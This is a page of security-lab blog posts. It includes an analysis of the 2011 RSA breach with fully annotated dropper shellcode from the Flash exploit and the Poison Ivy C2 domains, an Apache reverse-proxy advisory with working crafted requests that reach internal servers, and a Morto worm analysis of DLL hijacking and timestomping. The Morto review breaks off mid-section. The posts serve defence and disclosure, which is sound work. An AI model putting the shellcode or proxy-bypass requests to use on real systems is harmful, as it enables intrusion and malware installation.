Skip navigation
Previous Next

Security Labs

November 2011
5

The current threat landscape around cyber attacks is complex and hard to understand even for IT pros. The media coverage on recent events increases the challenge by putting fundamentally different attacks into the same category, often labeled as advanced persistent threats (APTs). The resulting mix of attacks includes everything from broadly used, exploit-kit driven campaigns driven by cyber criminals, to targeted attacks that use 0-day vulnerabilities and are hard to fend off - blurring the threat landscape, causing confusion where clarity is most needed.

 

This article analyzes a specific incident - last March’s RSA breach, explaining the techniques used by the attackers and detailing the vulnerability used to gain access to the network. It further explores the possible mitigation techniques available in current software on the OS and application level to prevent such attacks from reoccurring.

 

Introduction

In this article, I will examine the components used in a wave of attacks that happened earlier this year, first made public by RSA in March 2011. I will also detail the exploit mechanics and explain the possibilities for improving the defense mechanisms. 

 

The implementation of these defense mechanisms could have neutralized the attack and prevented the installation of the final malware. I believe these defensive techniques apply to malware and other infection vectors, and should be implemented on a wider scale to prevent attacks.

 

For researchers looking to gain a comprehensive understanding in Adobe Flash vulnerabilities, this article will detail how the exploit works, the vulnerability internals and techniques used in the attack.

 

For security practitioners interested in having access to a better explanation of the incident, this blog will provide a good amount of information as well, since it emphasizes specifics of the attack procedure.

 

The article’s content is divided into six main sections, each one discussing possible workarounds that could have helped prevent an attack. Section 1 - ”General Mechanics of the Attack” explains what the attack was all about, and is a great starting point for those who are not aware of the already public details.  Section 2 - “The Email” explains the initial mechanism used to spread the attack, which was an email sent to some specific employees of the target company.   Section 3 - “The Spreadsheet” delves into the spreadsheet attached to the email and the results on the end-user when opening it.  Section 4 -“The Exploit” discusses the actual exploit code and its payload (the shellcode, not the final, dropped malware). Next, in the section, “The Malware,” I discuss the fairly generic, straightforward malware used.  In the final “Conclusion” section of the article, I discuss possible future trends and ways to proactively protect against attacks.

 

General Mechanics of the Attack

The attack was delivered by an email sent to specific individuals inside the target company. The email contents are going to be further discussed in the next sections, but in essence the email contained a attachment, a spreadsheet intended to be opened using Microsoft Excel.  The spreadsheet itself included an embedded Flash object, which was configured to exploit a 0-day, i.e. previously unknown vulnerability in the Adobe Flash Player software, which is now categorized as CVE-2011-0609.

 

Once the Flash object ran, it installed the Poison Ivy RAT (Remote Administration Tool) included inside the Flash object to guarantee further access to the attackers.  Poison Ivy has a plethora of capabilities available to its controller such as key-logging, scanning, data exfiltration and other mechanism that are designed to help the attacker to gain deeper access to the target’s network.

 

The Email

 

 

 

 

From:  webmaster@beyond.comBeyond is a partner known to RSA employees
To: 1 RSA employee
Cc: 3 more RSA employees
Cleverly addressed to one person, with more targets on CC, looks less like SPAM
Subject: 2011 Recruitment PlanSubject of interest to HR and Managers
Body: I forward this file for you to review.  Please, open and view it.Too simple to look real, even accounting for current trends to simplify communication
Attachment: 2011 Recruitment Plan.xls

 

When this email was received by the mail system, it was classified as SPAM and put into the junk email folder.  The email was convincing enough though, for at least one user that moved it back to the inbox for viewing.

 

The Spreadsheet

Once the user opened the attached spreadsheet with Microsoft Excel 2007, the user saw the following:

 

 

In the default configuration of Excel 2007, the embedded Flash content is automatically parsed by the Flash player. In this case, the Flash object executed and after 2-5 seconds, the Excel program closed.

 

Another version of this attack code (a strong evidence that it is a re-use of an attack against other targets) had a program that once executed opened a second spreadsheet, designed to be displayed to trick the user into attributing the behaviour to a technical glitch:

 

 

 

It is reasonable to assume that an end-user would not notice the quick opening/closing of Excel.

 

As I mentioned earlier, once the spreadsheet was opened, Excel automatically launched the Flash parser. This behaviour could have been easily prevented if the following techniques were in place:

 

  1. There is a configuration setting of Office 2007 (Trust Center, ActiveX) that would prevent the immediate execution:

       

  2. The more modern Office 2010 version of Excel contains another helpful feature: the new Protected View Sandbox prevents the automatic parsing of such embedded objects already in the standard configuration:

       

        In such a case, the user needs to interact again in order for the exploit to work, by clicking on the “Enable Editing” option.

  3. Lastly another feature that few users know about, which would have prevented this specific exploit from running, is Data Execution Prevention (DEP). DEP is a security technology that prevents applications from executing machine code stored in certain regions of memory that are marked as non-executable, a technique that is quite frequently used by exploits, for example during a buffer overflow attack. It was introduced in Windows XP SP2 around 2004 as an opt-in feature and can be activated manually through the Control Panel or network wide through a system policy.
       
    Either way, once activated it prevents the exploit under analysis from running, as program “a” is attempting an illegal operation.

       

    Although DEP is enabled by default in modern versions of Windows, such as Vista and Windows 7, Office 2007 opts for disabling it (calling NtSetInformationProcess()).  If set to AlwaysOn or if using Office 2010 on modern Windows versions, this vulnerability would not have run on either of these OSes (as it is going to be discussed later, there is also a dependency of operating system in the shellcode used in this attack). The same Flash vulnerability continues to exist on these systems, but DEP prevents it from executing. The exploit would have to be modified to deal with the more constrained execution environment that DEP provides.  Additionally, Windows Vista started using ASLR (Address Space Layout Randomization) which greatly difficulties the ways for bypassing DEP.

Most of this section will be related to the actual exploit code and what I did in the lab to trace its execution.  To understand the inner workings of the vulnerability, I first reduced the embedded exploit code into a small PoC only containing the minimal SWF file (Flash file) to trigger the issue.

 

Adobe Flash is mainly used to create rich Internet content, for example adding videos and animations to web pages, and it is installed in almost all browsers. But it is supported as well by other content displayers, such as the Adobe PDF Reader and Microsoft Office Excel.

 

Small Web Format (SWF) is the file format used by Flash.  Internally, Flash supports a scripting language know as ActionScript.  ActionScript  is interpreted by the ActionScript Virtual Machine (AVM), currently in version 2, while the newest version of ActionScript is 3.0. ActionScript is basically an implementation of the ECMAScript standardized language.

 

The script source code is compiled into segments to create the final SWF file. Those segments are called ActionScript Byte Code (ABC) segments. Each segment is described by the abcFile structure, used by the AVM to load the bytecode.

 

The documentation shows us that the abcFile structure is defined like:

 

abcFile
{
    u16 minor_version
    u16 major_version
    cpool_info constant_pool
    u30 method_count
    method_info method[method_count]
    u30 metadata_count
    metadata_info metadata[metadata_count]
    u30 class_count
    instance_info instance[class_count]
    class_info class[class_count]
    u30 script_count
    script_info script[script_count]
    u30 method_body_count
    method_body_info method_body[method_body_count]
}

 

The entire process (from the ActionScript source code to the JIT generated code) can be seen in the following diagram [1]:

 

 

The division into bytecode blocks depends on the jump targets, defined by the jump operators [1].  To guarantee proper execution of the generated code, the verification step tries to validate proper execution.

 

Most of the vulnerabilities related to Flash are due to mismatching between the verified process flow and the actual execution flow.

 

From the above diagram, we have:

ActionScript Source Code:

trace("aaaaaaaa");

 

The actual bytecodes:

findpropstric <q>[public]::trace         ; func trace() obj pushed
pushstring "aaaaaaaa"             ; string pushed
callpropvoid <q>[public]::trace, 1 params     ; call the func object

 

This will pass the verification, since it generates a safe execution flow.

 

If we change the first findpropstric to:

pushint 0x414141

 

We fail the verification process, since the callpropvoid expects an object and receives an integer.  Obviously, if for any reason this passes the verification, we have a security issue.

 

When there is a verification error, the AVM throws a VerifyError.  When the execution enters a method, there are three local data areas:

 

pushint 0x414141

 

operand stack segment -> Operands to the instructions (pushed/poped
operand stack segment -> from the stack by the instructions)
scope stack segment -> name lookup for the objects
group of local registers -> parameter values, local vars and others

 

This specific vulnerability is due to the failure of the verifier to identify when the stack state has become inconsistent after a jump to the incorrect position.  The next instructions will write to the wrong object into the ActiveScript stack, overwriting memory areas.

 

01823E2C   8B4A 70          MOV ECX,DWORD PTR DS:[EDX+70]
01823E2F   8D55 90          LEA EDX,DWORD PTR SS:[EBP-70]
01823E32   8945 90          MOV DWORD PTR SS:[EBP-70],EAX
01823E35   8B01             MOV EAX,DWORD PTR DS:[ECX]
01823E37   52               PUSH EDX
01823E38   6A 00            PUSH 0
01823E3A   51               PUSH ECX
01823E3B   FFD0             CALL EAX

 

The program fails in the instruction:

mov ecx, dword ptr ds:[EDX+70]

 

Trying to read from an invalid memory address.   In:

mov eax, dword ptr ds:[ecx]

 

The read value (if successful) will be loaded in eax and then later in

call eax

execution is transferred to that location.

 

In the case of the exploit at hand, the first step was to isolate the swf file in the Excel spreadsheet.

 

Embedded Flash code is then spraying the memory and loading another flash file in the same context to trigger the vulnerability.

 

The shellcode in use by the exploit uses a known technique for finding the kernel base (it does not work in Windows 7 and thus the exploit code will not work against Windows 7 platform) [2].

 

In [2] we have the extracted shellcode.   The shellcode will create and execute a file named a.exe. I'm providing it here with some additional comments:

 

        ; The next 6 instructions has been a well-known
        ; method to get the KernelBase and does not Work
        ; Against Windows 7
        ; For references: [3]
                mov     eax, large fs:30h    ; PEB Base
                mov     eax, [eax+0Ch] ; PEB_LDR_DATA
                                       ; (InInitOrderModuleLst)
                mov     esi, [eax+1Ch]
                lodsd                ; move to the next LIST_ENTRY
                mov     esi, [eax+8]        ; Get KernelBase
                jmp     loc_401274


        ; Allocates space in the stack and then defines EDI
        ; as a pointer to the space (to be used inside the routine)
        ; This space will store the hashes for the functions
        ; the shellcode needs
sub_401037      proc near              
                pop     eax
                sub     esp, 200h
                mov     edi, esp
                mov     [edi+8], esi
                mov     [edi+10h], eax      ; offset of a.exe
                nop
                push    dword ptr [edi+8]
                push    0C0397ECh
                call    get_fn_by_hash
                mov     [edi+1Ch], eax      ; kernel32.GlobalAlloc
                push    dword ptr [edi+8]
                push    7CB922F6h
                call    get_fn_by_hash
                mov     [edi+20h], eax      ; kernel32.GlobalFree
                push    dword ptr [edi+8]
                push    7C0017A5h
                call    get_fn_by_hash
                mov     [edi+24h], eax      ; kernel32.CreateFileA
                push    dword ptr [edi+8]
                push    0FFD97FBh
                call    get_fn_by_hash
                mov     [edi+28h], eax      ; kernel32.CloseHandle
                push    dword ptr [edi+8]
                push    10FA6516h
                call    get_fn_by_hash
                mov     [edi+2Ch], eax      ; kernel32.ReadFile
                push    dword ptr [edi+8]
                push    0E80A791Fh
                call    get_fn_by_hash
                mov     [edi+30h], eax      ; kernel32.WriteFile
                push    dword ptr [edi+8]
                push    0C2FFB025h
                call    get_fn_by_hash
                mov     [edi+34h], eax      ; kernel32.DeleteFile
                push    dword ptr [edi+8]
                push    76DA08ACh
                call    get_fn_by_hash
                mov     [edi+38h], eax      ; kernel32.SetFilePointer
                push    dword ptr [edi+8]
                push    0E8AFE98h
                call    get_fn_by_hash
                mov     [edi+3Ch], eax      ; kernel32.WinExec
                push    dword ptr [edi+8]
                push    78B5B983h
                call    get_fn_by_hash
                mov     [edi+40h], eax      ; kernel32.TerminateProcess
                push    dword ptr [edi+8]
                push    7B8F17E6h
                call    get_fn_by_hash
                mov     [edi+44h], eax ; kernel32.GetCurrentProcess
                push    dword ptr [edi+8]
                push    0DF7D9BADh
                call    get_fn_by_hash
                mov     [edi+48h], eax      ; kernel32.GetFileSize
                push    dword ptr [edi+10h]
                call    dword ptr [edi+34h] ; call DeleteFileA(a.exe)
                xor     esi, esi

        ; To locate the handle to the excel file
loc_40110F:
                inc     esi            ; check open handles with size
                                       ; greater then 65536 bytes
                lea     eax, [edi+60h]
                push    eax
                push    esi
                call    dword ptr [edi+48h] ; call GetFileSize
                cmp     eax, 0FFFFFFFFh
                jz      short loc_40110F
                cmp     eax, 10000h
                jbe     short loc_40110F
                mov     [edi+4], eax
                mov     [edi+60h], esi
                push    dword ptr [edi+4]
                push    40h
                call    dword ptr [edi+1Ch] ; GlobalAlloc(FileSize)
                mov     [edi+5Ch], eax
                push    0
                push    0
                push    0
                push    dword ptr [edi+60h]
                call    dword ptr [edi+38h] ; SetFilePointer to
                                            ; begin of file
                cmp     eax, 0FFFFFFFFh
                jz      short loc_401191
                push    0
                lea     ebx, [edi+70h]
                push    ebx
                push    dword ptr [edi+4]
                push    dword ptr [edi+5Ch]
                push    dword ptr [edi+60h]
                call    dword ptr [edi+2Ch] ; ReadFile
                mov     ecx, [edi+70h]
                sub     ecx, 10h
                mov     eax, [edi+5Ch]

        ; Used to identify the binary file
loc_401161:                            
                inc     eax
                cmp     dword ptr [eax], 47422E43h
                jnz     short loc_401173
                cmp     dword ptr [eax+4], 19890604h     ; Find in File
                                              ; 43 2E 42 47 04 06 89 19
                jz      short loc_401177

loc_401173:                            
                loop    loc_401161
                jmp     short loc_401191
; ---------------------------------------------------

loc_401177:                            
                add     eax, 8
                mov     [edi+14h], eax

loc_40117D:                            
                inc     eax
                cmp     dword ptr [eax], 4B635546h
                jnz     short loc_40118F
                cmp     dword ptr [eax+4], 19820424h
                jz      short loc_40119D

loc_40118F:                            
                loop    loc_40117D

loc_401191:                            
                push    dword ptr [edi+5Ch]
                call    dword ptr [edi+20h]
                jnz     loc_40110F

        ; Creates the binary file
loc_40119D:                            
                add     eax, 8
                mov     [edi+18h], eax
                push    0
                push    80h
                push    2
                push    0
                push    0
                push    40000000h
                push    dword ptr [edi+10h]
                call    dword ptr [edi+24h]     ; CreateFile
                mov     [edi+64h], eax
                mov     dword ptr [edi+6Ch], 905A4Dh
                push    0
                lea     ebx, [edi+70h]
                push    ebx
                push    4
                lea     ebx, [edi+6Ch]
                push    ebx
                push    dword ptr [edi+64h]
                call    dword ptr [edi+30h] ; WriteFile('MZxx') ->
                                            ; Re-create the header
                mov     eax, [edi+18h]
                sub     eax, [edi+14h]
                sub     eax, 8
                mov     ebx, [edi+14h]

loc_4011E3:
                xor     [ebx], al
                inc     ebx
                dec     eax
                inc     ebx
                dec     eax
                cmp     eax, 0
                jnz     short loc_4011E3
                push    0
                lea     ebx, [edi+70h]
                push    ebx
                mov     ebx, [edi+18h]
                sub     ebx, [edi+14h]
                sub     ebx, 8
                push    ebx
                push    dword ptr [edi+14h]    ; Offset Located
                push    dword ptr [edi+64h]    ; Handle Location
                call    dword ptr [edi+30h]    ; WriteFile
                push    dword ptr [edi+64h]    ; Handle Location
                call    dword ptr [edi+28h]    ; CloseHandle
                push    0
                push    dword ptr [edi+10h]    ; a.exe Location
                call    dword ptr [edi+3Ch]    ; WinExec(a.exe)
                push    0
                call    dword ptr [edi+44h]     ; GetCurrentProcess
                push    0
                push    eax
                call    dword ptr [edi+40h]     ; TerminateProcess
sub_401037      endp


; ===== S U B R O U T I N E =====
        ; This subroutine is responsible for calling the functions
        ; based on its hash (thus providing better support to
        ; different addresses instead of using fixed definitions
        ; inside the shellcode)
get_fn_by_hash  proc near              

arg_0           = dword ptr  8
arg_4           = dword ptr  0Ch

                push    ebp
                mov     ebp, esp
                push    edi
                mov     edi, [ebp+arg_0]
                mov     ebx, [ebp+arg_4]
                push    esi
                mov     esi, [ebx+3Ch]
                mov     esi, [ebx+esi+78h]
                add     esi, ebx
                push    esi
                mov     esi, [esi+20h]
                add     esi, ebx
                xor     ecx, ecx
                dec     ecx

loc_40123D:                            
                inc     ecx
                lodsd
                add     eax, ebx
                push    esi
                xor     esi, esi

loc_401244:                            
                movsx   edx, byte ptr [eax]
                cmp     dh, dl
                jz      short loc_401253
                ror     esi, 0Dh
                add     esi, edx
                inc     eax
                jmp     short loc_401244

loc_401253:                            
                cmp     edi, esi
                pop     esi
                jnz     short loc_40123D
                pop     edx
                mov     ebp, ebx
                mov     ebx, [edx+24h]
                add     ebx, ebp
                mov     cx, [ebx+ecx*2]
                mov     ebx, [edx+1Ch]
                add     ebx, ebp
                mov     eax, [ebx+ecx*4]
                add     eax, ebp
                pop     esi
                pop     edi
                pop     ebp
                retn    8
get_fn_by_hash  endp


loc_401274:                            
                call    sub_401037
; -----------------------------------------------------------
aA_exe          db 'a.exe',0

 

The malware used in this case was fairly generic, most likely chosen by the attackers for its functionality and ability to evade detection by popular AV tools. It was a version of Poison Ivy, which is a RAT tool providing complete control of a victim’s machine, allowing installation of more software, monitoring of keystrokes, and other network reconnaissance activities.

 

The malware, a version of a toolkit available since 2005, was configured to connect back to the mincesur.com domain at good.mincesur.com. This domain had been associated with malicious activity before using names such as download.mincesur.com, good.mincesur.com, man.mincesur.com and in connection with domain wekby.com (hjkl.wekby.com, qwer.wekby.com, uiop.wekby.com). This is a good example of the importance of outbound traffic control as a security measure since those domains had been identified as malicious even before the attack by a number of security companies. It illustrates the need for a fast and reliable information exchange schema so that such domains can be blocked as soon as possible.

 

Conclusion

While I investigated an exploit on Adobe Flash, the sheer number of software installed on modern machines in network environments opens the door for similar attacks. The complexities of typical software packages create a huge attack surface, a fact that has been repeatedly utilized by exploit writers.

 

Modern defense mechanisms exist to impede the success of such attacks. They create a barrier by elevating the technical difficulty of the attack.  There is a tremendous opportunity for IT pros to turn the tables on the attackers and increase the cost of the attack to a level where all but the most determined attackers will fail. This covers the great majority of attacks, including automated attacks and those re-using previously delivered exploit codes.

 

Acknowledgements

I would like to thank Mikko Hypponen from F-Secure for sharing the emails they found related to this attack.  Having access to trusted sources for the data to be analyzed is very important for a technical report.

 

Special thanks also goes to Wolfgang Kandek, Qualys CTO, for giving me the time to work to understand the technical underpinnings of the attack and for helping me with reproducing each step. This is very time intensive part of the setup where multiple virtual machines are needed to cover all possible scenarios.

 

Great technical feedback and corrections by Sean Larsson from Verisign iDefense and Timo Hirvonen from F-Secure made this article more accurate and informative, thank you both.

 

References

[1] Li, Haifei; "Understanding and Exploiting Flash ActionScript Vulnerabilities" CansecWest 2011.

 

[2] Villys777; "CVE-2011-0609:  Adobe Flash Player ZeroDay" http://bugix-security.blogspot.com/2011/03/cve-2011-0609-adobe-flash-zero-day.html

 

[3] sk; "History and Advances in Windows Shellcoding" http://www.phrack.org/issues.html?id=7&issue=62

6

Today Apache acknowledged another reverse proxy issue (CVE-2011-4317) which I discovered while creating a QualysGuard vulnerability signature for an older problem CVE-2011-3368. Depending on the reverse proxy configuration, the vulnerability could allow access to internal systems from the Internet.

 

While reviewing the patch for the older issue CVE-2011-3368, it appeared that it was still possible to make use of a crafted request that could exploit a fully patched Apache Web Server (Apache 2.2.21 with CVE-2011-3368 patch applied) to allow access to internal systems if the reverse proxy rules are configured incorrectly. I submitted an advisory and proof of concept to Apache and Apache made the issue public today.

 

For a good description of the older CVE-2011-3368 issue as well as how a reverse proxy works please check the excellent blog post by Context.

 

Here is a description of the new issue CVE-2011-4317 and its proof of concept.

 

Apache’s patch for CVE-2011-3368

 

The patch for CVE-2011-3368 (see Figure 1) is straight forward and self explanatory. The “server/protocol.c” file was modified. The patch looks at the request being sent and returns a HTTP 400 Response (Bad Request) if the URL does not begin with a forward slash “/”.

 

--- httpd-2.2.21/server/protocol.c
+++ httpd-2.2.21/server/protocol.c
@@ -640,6 +640,25 @@

     ap_parse_uri(r, uri);

+    /* RFC 2616: +     *   Request-URI    = "*" | absoluteURI | abs_path | authority
+     * +     * authority is a special case for CONNECT.  If the request is not
+     * using CONNECT, and the parsed URI does not have scheme, and
+     * it does not begin with '/', and it is not '*', then, fail
+     * and give a 400 response. */
+    if (r->method_number != M_CONNECT
+        && !r->parsed_uri.scheme    <-- A
+        && uri[0] != '/'
+        && !(uri[0] == '*' && uri[1] == '\0')) {
+        ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r,
+                      "invalid request-URI %s", uri);
+        r->args = NULL;
+        r->hostname = NULL;
+        r->status = HTTP_BAD_REQUEST;
+        r->uri = apr_pstrdup(r->pool, uri);
+    }
+
     if (ll[0]) {
         r->assbackwards = 0;
         pro = ll;

Figure 1

 

 

This part of the code takes care of the issue for CVE-2011-3368. However; if you carefully look at the patch, it does not process URIs that have a scheme (see Figure 1, A). So, if a malformed URL request with a scheme was constructed, it would still be possible to bypass security and gain access to systems on the internal server provided that the reverse proxy rules were incorrectly configured.

 

Proof of Concepts

 

Target: Fully patched Apache Web Server (Version 2.2.21) with CVE-2011-3368 patch applied, with a reverse proxy set up and incorrectly configured RewriteRule/ProxyPassMatch rules.

 

Rewrite rules in httpd.conf:

RewriteRule ^(.*) http://10.40.2.159$1
ProxyPassMatch ^(.*) http://10.40.2.159$1

 

Example 1:

GET @localhost::<PORT> HTTP/1.0\r\n\r\n
where <PORT> is any port number being requested.

 

To demonstrate the proof of concept, Tomcat was set up to run on port 8880 on the internal server. Please note that any application could be running on any port on the internal server and a malicious user could use the PoC to request access to an application running on that port.

 

Access to internal web server can be possible by using a crafted request like:
GET @localhost::8880 HTTP/1.0\r\n\r\n

 

The screenshot below shows that a basic query with the crafted request (see Figure 2, B) to the target results in access to the page at 8880 (see Figure 2, C).

 


Figure 2

 

Upon receiving the request, Apache translates the URL by applying the rewrite rules. The "uri" extracted is ":8880" which gets appended, resulting in the URL

http://10.40.2.159:8880

The "uri" extracted in this case is everything following the first occurrence of the colon (:) in the request. Since the crafted request has 2 colons (::), the second colon is treated as being part of the URI.

 

 

To view the URI being extracted based on the rewrite rules, “RewriteLogLevel” was set to 3 in Apache configuration file. The rewrite translation logs get written to the log file. The first step to come up with the crafted request was to review the log file by sending different requests and studying how the rewrite translation was working. In the case of Example 1, since everything following the first colon (:) was being treated as the URI, a second colon was appended with a port number to see the response. The server treated the second “:” as being part of the URI and since there was an application already running on the port, it was possible to gain access to the page.

 

Example 2:

GET <random_string>:@<internalservername> HTTP/1.0\r\n\r\n
where <random_string> is any string, <internalservername> is the domain of an internal server being requested.

 

Access to internal web server can be possible by using a crafted request like:
GET qualys:@qqq.qq.qualys.com HTTP/1.0\r\n\r\n

 

The screenshot below shows that a basic query with the crafted request to an internal website (see Figure 3, D) allows access to the page remotely (see Figure 3, E).

 


Figure 3

 

Upon receiving the request, Apache translates the URL by applying the rewrite rules. The "uri" extracted is "@qqq.qq.qualys.com" which gets appended, resulting in the URL

http://10.40.2.159@qqq.qq.qualys.com

The "uri" extracted in this case is everything following the first occurrence of the colon (:) in the request. This is treated as <username>@<host> giving access to the internal <host> if no authentication is required.

 

Patch

Apache fixed this issue in Version 2.2.22.

Workaround

 

Until a patch is applied, configuring the reverse proxy rules in the apache configuration file correctly will prevent this issue from occurring. For example, in the above case, if the reverse proxy rules (RewriteRule or ProxyPassMatch directives in httpd.conf) are configured as follows, the proof of concept will not work.

 

RewriteRule ^(.*) http://10.40.2.159/$1
ProxyPassMatch ^(.*) http://10.40.2.159/$1
0
Video titled Advanced Persistent Threats: Panel Discussion from QSC 2011 San Francisco

Moderator: Brian Krebs, Journalist

 

Panel:
Wolfgang Kandek, CTO, Qualys
Rodrigo Branco, Researcher, Qualys
Rich Mogull, Analyst & CEO, SECUROSIS
Gunter Ollman, CTO, Damballa
Andy Bonillo, Principal, Investigative Response, Verizon

Recorded September 29, 2011 at Qualys Security Conference 2011 San Francisco

 

Topics include:

  • What is APT?
  • What makes APTs successful when they're successful?
  • Are so-called APTs executed via vulnerabilities that should have been patched?
  • Good system administration is the baseline defense.
  • How does any organization protect itself against the most sophisticated attacks?
  • Do organizations have the ability to know how long they have been pwned?
  • TCP: total cost of pwnage.
  • Dynamics of the APT ecosystem.
  • Best practices for securing systems.
  • What happens when organizations fail to detect APTs?
  • What can we do to make things better?
  • Are you hopeful the community will share information?
  • Q&A: What should we look for in log files?
  • Q&A: What is opinion on virtual patching?
  • Q&A: What is impact of increase in mobile devices?

 

Duration: 58 minutes, 32 seconds

0
Posted by pdrimel on Nov 11, 2011 in Security Labs

Morto Architecture Review

Introduction

Morto is a self-replicating malware, i.e. a worm that exploits Windows servers with weak passwords through the Remote Desktop Protocol (RDP).  It was first detected in July of 2011 and was held responsible for a 200-fold increase in RDP scanning activity from approximately 500 sources to over 100,000 sources [10]. In typical malware fashion it looks for common security software and disables their function, once it has successfully infiltrated the machine. Then it connects to its command & control server to wait for instructions and receive software updates.

 

Even though the number of Morto infections was not considered high [3] [6] compared to other notorious malware types, Morto has interesting algorithms in its internals, and this article will focus on of them. Also, there was rumor [11] about a possible version of Morto and this will be discussed in the section titled Morto Variant.

 

More details about Morto’s history and its activities can be found at [1] and [2].

 

Architecture

Morto can be divided in three components, as shown in Figure 1.

 


Figure 1: Morto Architecture

 

The dropper is the executable file, which, in order to call the loader,  drops the embedded malicious DLL into the system and calls regedit.exe, which is the application that executes the loader. Once the loader is executed, it creates a service in the system and drops another malicious DLL, which is then called by the malicious service. This second DLL is responsible  to call the payload.

 

Most of the available public analysis, such as [1] and [2], describe Morto's activities and its three components: dropper, loader and payload. However, little is known about how the components are interacting between them. This article will focus on how the dropper and loader  work in conjunction to execute the payload.

 

In particular we will analyze and answer the following questions regarding Morto:

  • Why delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU registry key, which stores the list of executed programs through the run dialog?
  • How is regedit actually executed in order to load malicious DLLs?
  • How does the loader execute the payload?
  • What is sens32.dll?
  • What is HKLM\SYSTEM\WPA\sn?
  • Why is it called “Morto”, which means dead in Portuguese? Actually, we don't know the answer to that one.

 

In the next sections, each component will be described in more details focusing on its internal algorithms.

Dropper

MD5    2eef4d8b88161baf2525abfb6c1bac2b
SHA1   0bbb014657bf4459faa2e6faf11d0559b196187c

 

The dropper is divided in three parts as shown in Figure 2.


Figure 2: Dropper

 

Part one removes obfuscation in the data section, turning it into a “plain” code which is executed later by the entire malware. Part two stores data into the registry which is used later by the malware. Finally, part three drops the loader into the system and executes “regedit.exe”. The three parts are described in more details below.

 

Dropper - Part one

It starts by allocating memory through ZwAllocateVirtualMemory and copying itself into this area. At this time, the code in memory is obfuscated, and being so, Morto will then de-obfuscate the code and copy the “plain” code to another memory area, allocated through VirtualAlloc. Now, the code is ready to be executed, and Morto finally calls it.

 

Dropper - Part two

Part two calculates a random number using function GetTickCount, srand and rand, which is then stored in HKLM\SYSTEM\WPA\id. It then attempts to read HKLM\SYSTEM\WPA\md which does not exist yet, on a non-infected machine. It continues its execution by allocating memory and copying obfuscated data into it, which is later stored in HKLM\SYSTEM\WPA\md. Also, another block of memory is allocated and a DLL is copied into it. Then, it executes GetSystemTime and stores its results in HKLM\SYSTEM\WPA\it as well as creates a file under c:\windows\offline web pages\ with its name based on GetSytemTime. Once the plain code execution finishes, a call is made to a function which receives “Drop” as its parameter. This function returns an address which is the third part of the dropper, that will be discussed in the next section. It is interesting here that the malware itself confirms that it will “drop” something onto the system calling that function. Figure 3 shows the call to the function which received “Drop” as a parameter.

 


Figure 3: Call to drop loader

 

 

Dropper – Part three

Part three of the dropper starts by attempting to create a file in \\tsclient\a\ whose name is constructed by a fixed prefix ID plus the random value obtained in part two, which was saved in registry key HKLM\SYSTEM\WPA\id. The malware does not even check if a RDP session is opened or if the drive is already mapped: an attempt to create this file could be a way to check if the system is already infected, but since the ID is random this might not be the case. It then deletes the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU, but the reason for that is still unclear. Next, it creates the registry key HKLM\SYSTEM\WPA\md and adds to it the data that was allocated in part two: this seems to be the payload. Then the DLL c:\windows\clb.dll is created, using the data copied by part one, and its MAC times (modification time, access time and creation time) are changed based on the valid DLL c:\windows\wmi.dll. This is used to fool an analyst who would look for last changed files on the system. Figure 4 shows malicious DLL c:\windows\clb.dll after the MAC times change.

 


Figure 4: clb.dll after change its MAC times

 

Finally, regedit is executed to load the malicious DLL c:\windows\clb.dll. This is when things gets really interesting. Instead of just calling regedit.exe through common functions such as System, the dropper enumerates windows until finds a run dialog window, then changes its text to regedit.exe and clicks on button “OK”. The user does not see any window opening; however, if we open run dialog ourselves, regedit.exe is clearly visible. Figure 5 shows run dialog window before button “OK” is executed.

 


Figure 5: regedit.exe being executed

 

The use of the run dialog window explains why it previously deleted registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU which lists the commands executed through the run dialog.

 

Before we continue with the loader analysis, it is important to understand how the malicious DLL clb.dll, which is placed under c:\windows, is executed by regedit. This is done by the search order which Windows looks for DLL as described at [4] and explained from a malware standpoint at [5]. But basically, once an application loads a DLL, if its name is not listed under HKLM\System\CurrentControlSet\Control\Session Manager\KnownDLLs, Windows operating system will check on the application’s path. Since clb.dll is not listed under the KnownDLLs registry key and regedit.exe is placed under c:\windows, it will look for clb.dll under c:\windows directory and execute its version of the clb.dll, that is the malicious one, instead of the original c:\windows\system32\clb.dll. Using the sysinternals tool [7] procmon we can clearly see the malicious DLL clb.dll getting executed by regedit.exe, as depicted by Figure 6.

 


Figure 6: Malicious clb.dll being executed by regedit.exe

 

Loader

The loader is also divided in three parts, as shown in Figure 7.

 


Figure 7: Loader

 

Part one checks if the calling process is rundll32.exe, which is responsible for load DLLs into the system, and tries to open an existing file probably for Morto to check if the system has been already infected. Part two has the same function as dropper’s part two; however in this case, it reads the registry key HKLM\SYSTEM\WPA\md. Part three simply calls the payload. The next sections will describe the three loader parts.

 

Loader – Part one

First, the loader checks if the calling process is rundll32.exe. Since I executed the loader through OllyDBG debugger [8], loaddll.exe was used instead of rundll32.exe because loaddll.exe lets us debug a DLL instead of just execute it such as rundll32.exe. But on the payload, Morto executes rundll32.exe in order to execute malicious DLL on an infected system. If this part was called by rundll32.exe, the malware would try to open the existing file \\tsclient\a\moto, which where the name Morto came from and that is most likely to be used to check if system has been already infected. It also reads the first 4 bytes of c:\windows\winhlp32.exe, but if it does not exist, it  tries to read the first 4 bytes of c:\windows\system32\write.exe. The first 4 bytes are 0x4D, 0x5A, 0x90, 0x00, which are common for every PE file. One may initially thought that such bytes would be inserted  at beginning of HKLM\SYSTEM\WPA\md to and make it an executable. However, that was not the case, and so those 4 bytes might be used by the payload itself for another reason that is still unclear or they are were just another trick used by the author to fool the analyst.

 

Loader – Part two

The part two has almost the same function as the dropper’s part two:  the only difference is that here the HKLM\SYSTEM\WPA\md already exists and its contents are read and placed into a buffer. Again, a call is made to a function which returns the address for where the execution will be jumped to and represents the part three. Regarding the parameter, at this time  the string “Load” is used as parameter instead of “Drop”: this parameters shows that the malware is attempting to execute the loader.

 

Loader – Part three

Part Three deletes again the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU and then copies the valid file c:\windows\system32\wmi.dll to c:\windows\temp\ntshrui.dll. Then, a service named “6to4” is created which is the first string returned by a query on HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs. The binary path of service is set to C:\WINDOWS\system32\svchost.exe –k netsvcs, and then the service parameter is changed to c:\windows\temp\ntshrui.dll. After that, the real malicious c:\windows\temp\ntshrui.dll is created. At this time, we have a service created that, when executed, loads another malicious DLL that seems to be the payload. Figure 8 shows the malicious service created while on stopped state.

 


